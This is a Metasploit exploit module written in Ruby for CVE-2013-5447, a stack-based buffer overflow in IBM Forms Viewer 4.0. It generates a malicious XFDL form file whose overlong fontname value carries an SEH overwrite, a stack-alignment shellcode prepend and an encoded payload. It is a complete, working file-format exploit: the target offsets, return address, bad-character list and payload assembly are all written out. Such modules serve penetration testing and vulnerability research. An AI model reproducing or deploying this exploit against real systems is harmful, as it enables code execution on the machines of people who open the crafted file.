##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include REXML
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'IBM Forms Viewer Unicode Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability
        is due to a dangerous usage of a strcpy-like function, and occurs while parsing malformed
        XFDL files containing a long fontname value. This module has been tested successfully on IBM
        Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez', # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-5447' ],
          [ 'OSVDB', '100732' ],
          [ 'ZDI', '13-274' ],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ],
        ],
      'Payload'        =>
        {
          'Space'          => 3000,
          'EncoderType'    => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
              'BufferOffset' => 10
            },
          'BadChars'       => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"),
          'DisableNops'    => true,
          # Fix the stack before the payload is executed, so we avoid
          # windows exceptions due to alignment
          'Prepend'        =>
              "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
              "\x83\xC0\x08"             + # add eax, byte 8
              "\x8b\x20"                 + # mov esp, [eax]
              "\x81\xC4\x30\xF8\xFF\xFF"   # add esp, -2000
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1',
            # masqform.exe 8.0.0.266
            {
              'Ret'    => 0x4c30, # p/p/r unicode from masqform.exe
              'Nop'    => 0x47, # 004700 => add [edi+0x0],al
              'Offset' => 62
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-12-05',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xfdl']),
      ])
  end

  def generate_xfdl
    xml = Document.new

    # XFDL
    xfdl = xml.add_element("XFDL", {
      'xmlns:custom'   => "http://www.ibm.com/xmlns/prod/XFDL/Custom",
      'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6",
      'xmlns:ev'       => "http://www.w3.org/2001/xml-events",
      'xmlns:xfdl'     => "http://www.ibm.com/xmlns/prod/XFDL/7.5",
      'xmlns:xforms'   => "http://www.w3.org/2002/xforms",
      'xmlns'          => "http://www.ibm.com/xmlns/prod/XFDL/7.5",
      'xmlns:xsd'      => "http://www.w3.org/2001/XMLSchema",
      'xmlns:xsi'      => "http://www.w3.org/2001/XMLSchema-instance"
    })

    # XFDL => globalpage
    xdfl_global_page = xfdl.add_element("globalpage", {
      "sid" => "global"
    })
    global = xdfl_global_page.add_element("global", {
      "sid" => "global"
    })
    designer_date = global.add_element("designer:date")
    designer_date.text = "20060615"
    form_id = global.add_element("formid")
    form_id.add_element("title")
    serial_number = form_id.add_element("serialnumber")
    serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000"
    version_form = form_id.add_element("version")
    version_form.text = "1"

    # XFDL => page
    page = xfdl.add_element("page", {
      "sid" => "PAGE1"
    })

    # XFDL => page => global
    page_global = page.add_element("global", {
      "sid" => "global"
    })
    label_page = page_global.add_element("label")
    label_page.text = "PAGE1"

    # XFDL => page => label
    label = page.add_element("label", {
      "sid" => "title"
    })
    item_location = label.add_element("itemlocation")
    x = item_location.add_element("x")
    x.text = "20"
    y = item_location.add_element("y")
    y.text = "0"
    value = label.add_element("value", {
      "compute" => "global.global.custom:formTitle"
    })
    value.text = rand_text_alpha(10)
    font_info = label.add_element("fontinfo")
    font_name = font_info.add_element("fontname")
    font_name.text = "MSF_REPLACE"
    xml.to_s
  end


  def exploit
    sploit = rand_text_alpha(target['Offset'])
    sploit << "\x61\x62"             # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
    sploit << [target.ret].pack("v") # seh # ppr
    sploit << [target['Nop']].pack("C")
    sploit << payload.encoded
    sploit << rand_text_alpha(4096)  # make it crash

    xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(xfdl)
  end
end
